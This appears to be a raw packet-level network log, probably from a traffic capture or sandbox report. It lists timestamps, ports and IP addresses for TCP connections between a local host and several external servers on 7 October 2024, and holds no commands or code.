Oct 7, 2024 21:18:53.285382986 CEST	443	49941	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.285710096 CEST	49941	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.285710096 CEST	49941	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.285744905 CEST	443	49941	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.288068056 CEST	443	49936	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.288152933 CEST	443	49936	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.288213015 CEST	49936	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.288321018 CEST	49936	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.288336039 CEST	443	49936	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.288348913 CEST	49936	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.288356066 CEST	443	49936	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.298576117 CEST	49942	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.298593044 CEST	443	49942	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.298665047 CEST	49942	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.299128056 CEST	49942	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.299141884 CEST	443	49942	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.426953077 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:53.427005053 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:53.427936077 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:53.431529999 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:53.431551933 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:53.816776037 CEST	443	49938	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.852113008 CEST	443	49939	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.859647989 CEST	49938	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.859666109 CEST	443	49938	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.859894991 CEST	443	49940	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.860270023 CEST	49938	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.860275030 CEST	443	49938	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.863219023 CEST	49939	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.863234997 CEST	443	49939	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.863646984 CEST	49939	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.863653898 CEST	443	49939	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.866028070 CEST	49940	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.866050959 CEST	443	49940	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.866699934 CEST	49940	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.866705894 CEST	443	49940	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.939908028 CEST	443	49941	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.964396000 CEST	443	49938	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.964632988 CEST	443	49938	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.964689970 CEST	443	49938	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.964721918 CEST	49938	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.964752913 CEST	49938	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.966114044 CEST	443	49939	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.966511965 CEST	443	49939	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.966581106 CEST	49939	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.969759941 CEST	443	49940	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.970166922 CEST	443	49940	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.970216036 CEST	49940	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.970218897 CEST	443	49940	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.970277071 CEST	49940	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.974246979 CEST	49941	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.974271059 CEST	443	49941	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.975059986 CEST	49941	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.975075960 CEST	443	49941	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.975529909 CEST	49938	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.975543022 CEST	443	49938	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.975605011 CEST	49938	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.975610971 CEST	443	49938	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.977128029 CEST	49939	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.977144957 CEST	443	49939	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.977206945 CEST	49939	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.977214098 CEST	443	49939	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.979470968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:53.979608059 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:53.981596947 CEST	49940	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.981615067 CEST	443	49940	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.981626034 CEST	49940	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.981631041 CEST	443	49940	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.994821072 CEST	49944	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.994849920 CEST	443	49944	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.994920969 CEST	49944	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.997890949 CEST	49945	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.997940063 CEST	443	49945	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:53.998016119 CEST	49945	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.998219013 CEST	49945	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:53.998239994 CEST	443	49945	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.001008987 CEST	49944	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.001023054 CEST	443	49944	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.031815052 CEST	443	49942	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.032732010 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.032855034 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.081156015 CEST	443	49941	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.081206083 CEST	49942	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.081594944 CEST	443	49941	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.081731081 CEST	49941	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.083417892 CEST	49942	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.083434105 CEST	443	49942	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.083883047 CEST	49942	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.083888054 CEST	443	49942	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.086945057 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.086960077 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.087193012 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.093302965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:54.098640919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:54.107881069 CEST	49941	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.107904911 CEST	443	49941	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.107995987 CEST	49941	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.108001947 CEST	443	49941	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.110413074 CEST	49946	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.110465050 CEST	443	49946	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.110531092 CEST	49946	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.110678911 CEST	49946	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.110696077 CEST	443	49946	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.127923012 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.182272911 CEST	443	49942	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.182687998 CEST	443	49942	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.184220076 CEST	49942	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.389770031 CEST	49942	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.389770031 CEST	49942	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.389820099 CEST	443	49942	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.389828920 CEST	443	49942	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.396079063 CEST	49947	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.396135092 CEST	443	49947	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.396194935 CEST	49947	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.397803068 CEST	49948	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.397849083 CEST	443	49948	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.397911072 CEST	49948	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.417741060 CEST	49947	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.417763948 CEST	443	49947	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.417938948 CEST	49948	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.417958021 CEST	443	49948	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.452657938 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.495405912 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.651575089 CEST	443	49944	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.652712107 CEST	49944	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.652733088 CEST	443	49944	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.653206110 CEST	49944	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.653211117 CEST	443	49944	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.691200018 CEST	443	49945	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.692220926 CEST	49945	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.692239046 CEST	443	49945	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.692862988 CEST	49945	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.692872047 CEST	443	49945	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.739216089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:54.739306927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:54.757054090 CEST	443	49944	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.757173061 CEST	443	49944	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.757220984 CEST	49944	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.757846117 CEST	49944	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.757870913 CEST	443	49944	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.757883072 CEST	49944	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.757890940 CEST	443	49944	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.761991024 CEST	49950	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.762012959 CEST	443	49950	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.762082100 CEST	49950	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.762207031 CEST	49950	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.762223005 CEST	443	49950	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.764924049 CEST	49951	80	192.168.2.5	45.132.206.251
Oct 7, 2024 21:18:54.769949913 CEST	80	49951	45.132.206.251	192.168.2.5
Oct 7, 2024 21:18:54.770025015 CEST	49951	80	192.168.2.5	45.132.206.251
Oct 7, 2024 21:18:54.770142078 CEST	49951	80	192.168.2.5	45.132.206.251
Oct 7, 2024 21:18:54.770169020 CEST	49951	80	192.168.2.5	45.132.206.251
Oct 7, 2024 21:18:54.775234938 CEST	80	49951	45.132.206.251	192.168.2.5
Oct 7, 2024 21:18:54.775263071 CEST	80	49951	45.132.206.251	192.168.2.5
Oct 7, 2024 21:18:54.775403023 CEST	80	49951	45.132.206.251	192.168.2.5
Oct 7, 2024 21:18:54.775414944 CEST	80	49951	45.132.206.251	192.168.2.5
Oct 7, 2024 21:18:54.799669027 CEST	443	49945	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.799720049 CEST	443	49945	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.799760103 CEST	443	49945	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.799760103 CEST	49945	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.799812078 CEST	49945	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.800280094 CEST	49945	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.800297022 CEST	443	49945	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.800311089 CEST	49945	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.800318003 CEST	443	49945	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.803961992 CEST	443	49946	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.804857016 CEST	49952	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.804898977 CEST	443	49952	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.804955006 CEST	49952	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.805275917 CEST	49946	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.805290937 CEST	443	49946	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.805313110 CEST	49952	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.805326939 CEST	443	49952	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.805716991 CEST	49946	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.805727005 CEST	443	49946	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.885360003 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.885386944 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.885416985 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.885418892 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.885440111 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.885456085 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.885472059 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.885472059 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.885474920 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.885492086 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.885503054 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.885519028 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.907984018 CEST	443	49946	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.908055067 CEST	443	49946	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.908107996 CEST	49946	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.908277988 CEST	49946	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.908297062 CEST	443	49946	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.908309937 CEST	49946	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.908317089 CEST	443	49946	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.911396027 CEST	49953	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.911427975 CEST	443	49953	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.911498070 CEST	49953	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.911628962 CEST	49953	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:54.911644936 CEST	443	49953	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:54.965199947 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.965245008 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.965265036 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.965291023 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.965306044 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.965342999 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.965365887 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.967648983 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.967658043 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:54.967670918 CEST	49943	443	192.168.2.5	104.102.49.254
Oct 7, 2024 21:18:54.967675924 CEST	443	49943	104.102.49.254	192.168.2.5
Oct 7, 2024 21:18:55.043401003 CEST	443	49947	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.043814898 CEST	49947	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.043844938 CEST	443	49947	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.044538021 CEST	49947	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.044544935 CEST	443	49947	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.062104940 CEST	443	49948	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.062627077 CEST	49948	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.062658072 CEST	443	49948	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.063153028 CEST	49948	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.063159943 CEST	443	49948	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.150058031 CEST	443	49947	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.150090933 CEST	443	49947	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.150129080 CEST	49947	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.150137901 CEST	443	49947	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.150178909 CEST	49947	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.154759884 CEST	49947	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.154759884 CEST	49947	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.154782057 CEST	443	49947	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.154783964 CEST	443	49947	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.162961960 CEST	49954	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.162987947 CEST	443	49954	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.163043976 CEST	49954	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.169493914 CEST	49954	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.169507027 CEST	443	49954	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.222395897 CEST	443	49948	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.223202944 CEST	443	49948	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.223261118 CEST	49948	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.236696959 CEST	49948	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.236712933 CEST	443	49948	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.236721992 CEST	49948	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.236726999 CEST	443	49948	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.245709896 CEST	49955	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.245755911 CEST	443	49955	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.245825052 CEST	49955	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.245968103 CEST	49955	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.245985031 CEST	443	49955	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.416915894 CEST	443	49950	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.417515039 CEST	49950	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.417525053 CEST	443	49950	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:55.418056011 CEST	49950	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:55.418061018 CEST	443	49950	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.497360945 CEST	443	49950	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.497443914 CEST	443	49950	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.497505903 CEST	49950	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.497517109 CEST	443	49950	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.497550011 CEST	443	49950	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.497610092 CEST	49950	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.497720003 CEST	80	49951	45.132.206.251	192.168.2.5
Oct 7, 2024 21:18:56.497728109 CEST	49950	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.497733116 CEST	443	49950	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.497805119 CEST	49951	80	192.168.2.5	45.132.206.251
Oct 7, 2024 21:18:56.498876095 CEST	443	49953	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.498882055 CEST	443	49952	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.499597073 CEST	80	49951	45.132.206.251	192.168.2.5
Oct 7, 2024 21:18:56.499650955 CEST	49951	80	192.168.2.5	45.132.206.251
Oct 7, 2024 21:18:56.501393080 CEST	80	49951	45.132.206.251	192.168.2.5
Oct 7, 2024 21:18:56.501468897 CEST	49951	80	192.168.2.5	45.132.206.251
Oct 7, 2024 21:18:56.502712011 CEST	49953	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.502720118 CEST	443	49953	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.502965927 CEST	80	49951	45.132.206.251	192.168.2.5
Oct 7, 2024 21:18:56.503240108 CEST	49951	80	192.168.2.5	45.132.206.251
Oct 7, 2024 21:18:56.503274918 CEST	49953	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.503279924 CEST	443	49953	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.514734030 CEST	49952	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.514751911 CEST	443	49952	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.515151024 CEST	49952	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.515156031 CEST	443	49952	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.571311951 CEST	49957	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.571352959 CEST	443	49957	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.571953058 CEST	49957	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.575442076 CEST	49957	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.575465918 CEST	443	49957	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.621711016 CEST	443	49952	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.622006893 CEST	443	49952	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.622169971 CEST	49952	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.624115944 CEST	443	49953	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.624181986 CEST	443	49953	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.625880003 CEST	49953	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.695687056 CEST	49952	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.695744038 CEST	443	49952	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.695748091 CEST	443	49955	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.695758104 CEST	49952	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.695765972 CEST	443	49952	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.705599070 CEST	49953	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.705620050 CEST	443	49953	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.710388899 CEST	443	49954	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.728077888 CEST	49954	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.728077888 CEST	49954	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.728096962 CEST	443	49954	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.728106022 CEST	443	49954	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.742397070 CEST	49955	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.827075958 CEST	443	49954	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.827173948 CEST	443	49954	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.831911087 CEST	49954	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.850883961 CEST	49955	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.850913048 CEST	443	49955	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.851305962 CEST	49955	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.851310968 CEST	443	49955	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.904328108 CEST	49954	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.904345036 CEST	443	49954	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.906074047 CEST	49954	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.906084061 CEST	443	49954	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.923147917 CEST	49958	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.923182964 CEST	443	49958	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.923257113 CEST	49958	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.953197002 CEST	443	49955	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.954354048 CEST	443	49955	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.954395056 CEST	443	49955	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.954493999 CEST	49955	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.971226931 CEST	49955	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.971272945 CEST	443	49955	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.971287966 CEST	49955	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.971295118 CEST	443	49955	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.971303940 CEST	49958	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.971359968 CEST	443	49958	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.977905035 CEST	49959	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.977957964 CEST	443	49959	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.978053093 CEST	49959	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.978665113 CEST	49959	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.978683949 CEST	443	49959	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.981550932 CEST	49960	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.981579065 CEST	443	49960	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.981656075 CEST	49960	443	192.168.2.5	13.107.253.45
